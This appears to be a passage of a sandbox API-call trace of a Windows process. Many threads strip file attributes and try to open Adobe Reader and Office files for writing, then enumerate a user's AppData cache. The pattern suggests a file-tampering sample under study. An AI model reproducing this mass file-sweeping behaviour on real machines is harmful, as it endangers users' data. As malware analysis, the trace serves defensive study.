10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1053.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.598] GetLastError () returned 0x5 [0158.598] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst", dwFileAttributes=0x21) returned 0 [0158.598] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd9d8) returned 1 Thread: id = 4202 os_tid = 0x163c [0157.954] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1055.mst")) returned 0x21 [0158.599] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst", dwFileAttributes=0x20) returned 0 [0158.599] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1055.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.599] GetLastError () returned 0x5 [0158.599] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst", dwFileAttributes=0x21) returned 0 [0158.599] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd900) returned 1 Thread: id = 4258 os_tid = 0x1728 [0158.015] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur")) returned 0x20 [0160.535] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR", dwFileAttributes=0x20) returned 0 [0160.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.535] GetLastError () returned 0x5 [0160.535] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR", dwFileAttributes=0x20) returned 0 [0160.535] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ffd8) returned 1 Thread: id = 4302 os_tid = 0x17e8 [0158.359] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze")) returned 0x20 [0161.931] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE", dwFileAttributes=0x20) returned 0 [0161.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.931] GetLastError () returned 0x5 [0161.931] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE", dwFileAttributes=0x20) returned 0 [0161.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9350f8) returned 1 Thread: id = 4303 os_tid = 0x17ec [0158.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze")) returned 0x20 [0161.928] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE", dwFileAttributes=0x20) returned 0 [0161.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.929] GetLastError () returned 0x5 [0161.929] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE", dwFileAttributes=0x20) returned 0 [0161.929] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9288) returned 1 Thread: id = 4304 os_tid = 0x17f4 [0158.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze")) returned 0x20 [0161.932] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE", dwFileAttributes=0x20) returned 0 [0161.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.932] GetLastError () returned 0x5 [0161.932] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE", dwFileAttributes=0x20) returned 0 [0161.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bf98) returned 1 Thread: id = 4305 os_tid = 0x17f8 [0158.363] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze")) returned 0x20 [0159.819] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE", dwFileAttributes=0x20) returned 0 [0160.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.903] GetLastError () returned 0x5 [0161.903] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE", dwFileAttributes=0x20) returned 0 [0161.903] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940660) returned 1 Thread: id = 4306 os_tid = 0x17fc [0158.363] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze")) returned 0x20 [0161.930] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE", dwFileAttributes=0x20) returned 0 [0161.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.930] GetLastError () returned 0x5 [0161.930] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE", dwFileAttributes=0x20) returned 0 [0161.930] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c790) returned 1 Thread: id = 4307 os_tid = 0x418 [0158.364] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze")) returned 0x20 [0161.347] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE", dwFileAttributes=0x20) returned 0 [0161.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.347] GetLastError () returned 0x5 [0161.347] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE", dwFileAttributes=0x20) returned 0 [0161.347] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c830) returned 1 Thread: id = 4308 os_tid = 0x7fc [0158.364] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze")) returned 0x20 [0161.904] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE", dwFileAttributes=0x20) returned 0 [0161.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.904] GetLastError () returned 0x5 [0161.904] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE", dwFileAttributes=0x20) returned 0 [0161.904] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9402d0) returned 1 Thread: id = 4425 os_tid = 0x1a40 [0158.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif")) returned 0x20 [0161.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF", dwFileAttributes=0x20) returned 0 [0161.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.956] GetLastError () returned 0x5 [0161.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF", dwFileAttributes=0x20) returned 0 [0161.956] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9405c8) returned 1 Thread: id = 4426 os_tid = 0x1a44 [0158.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif")) returned 0x20 [0161.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF", dwFileAttributes=0x20) returned 0 [0161.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.955] GetLastError () returned 0x5 [0161.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF", dwFileAttributes=0x20) returned 0 [0161.955] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac690) returned 1 Thread: id = 4427 os_tid = 0x1a48 [0158.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif")) returned 0x20 [0161.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF", dwFileAttributes=0x20) returned 0 [0161.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.954] GetLastError () returned 0x5 [0161.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF", dwFileAttributes=0x20) returned 0 [0161.954] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac1d0) returned 1 Thread: id = 4428 os_tid = 0x1a4c [0158.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif")) returned 0x20 [0161.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF", dwFileAttributes=0x20) returned 0 [0161.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.953] GetLastError () returned 0x5 [0161.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF", dwFileAttributes=0x20) returned 0 [0161.953] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac138) returned 1 Thread: id = 4441 os_tid = 0x1a80 [0158.684] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf")) returned 0x20 [0159.183] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf", dwFileAttributes=0x20) returned 0 [0159.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.183] GetLastError () returned 0x5 [0159.183] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf", dwFileAttributes=0x20) returned 0 [0159.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abbe0) returned 1 Thread: id = 4463 os_tid = 0x1bf8 [0158.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv")) returned 0x20 [0166.083] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV", dwFileAttributes=0x20) returned 0 [0166.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.083] GetLastError () returned 0x5 [0166.083] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV", dwFileAttributes=0x20) returned 0 [0166.083] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac728) returned 1 Thread: id = 4509 os_tid = 0x1ed4 [0159.201] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu")) returned 0x20 [0159.202] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU", dwFileAttributes=0x20) returned 0 [0159.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.206] GetLastError () returned 0x5 [0159.206] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU", dwFileAttributes=0x20) returned 0 [0159.207] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935248) returned 1 Thread: id = 4510 os_tid = 0x1ed8 [0159.208] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu")) returned 0x20 [0160.490] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU", dwFileAttributes=0x20) returned 0 [0160.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.490] GetLastError () returned 0x5 [0160.490] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU", dwFileAttributes=0x20) returned 0 [0160.491] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9788) returned 1 Thread: id = 4538 os_tid = 0x1f58 [0159.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg")) returned 0x20 [0159.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG", dwFileAttributes=0x20) returned 0 [0159.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.865] GetLastError () returned 0x5 [0159.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG", dwFileAttributes=0x20) returned 0 [0159.865] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7ef8) returned 1 Thread: id = 4566 os_tid = 0x1fd0 [0159.870] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky")) returned 0x20 [0160.254] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY", dwFileAttributes=0x20) returned 0 [0160.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\updater.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.254] GetLastError () returned 0x5 [0160.254] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\updater.SKY", dwFileAttributes=0x20) returned 0 [0160.254] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c470) returned 1 Thread: id = 4567 os_tid = 0x1fd4 [0159.871] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky")) returned 0x20 [0160.253] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY", dwFileAttributes=0x20) returned 0 [0160.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\weblink.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.253] GetLastError () returned 0x5 [0160.253] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\WebLink.SKY", dwFileAttributes=0x20) returned 0 [0160.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd495be0) returned 1 Thread: id = 4568 os_tid = 0x1fd8 [0159.871] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f5298 [0159.871] wcscpy (in: _Dest=0x8f5298, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" [0159.871] wcscat (in: _Dest=0x8f5298, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\" [0159.871] wcscat (in: _Dest=0x8f5298, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*" [0159.871] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d080 [0159.871] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x91d080 | out: lpFindFileData=0x91d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da010 [0160.256] wcscmp (_String1=".", _String2=".") returned 0 [0160.256] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91d080 | out: lpFindFileData=0x91d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.256] wcscmp (_String1="..", _String2=".") returned 1 [0160.256] wcscmp (_String1="..", _String2="..") returned 0 [0160.256] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x91d080 | out: lpFindFileData=0x91d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, 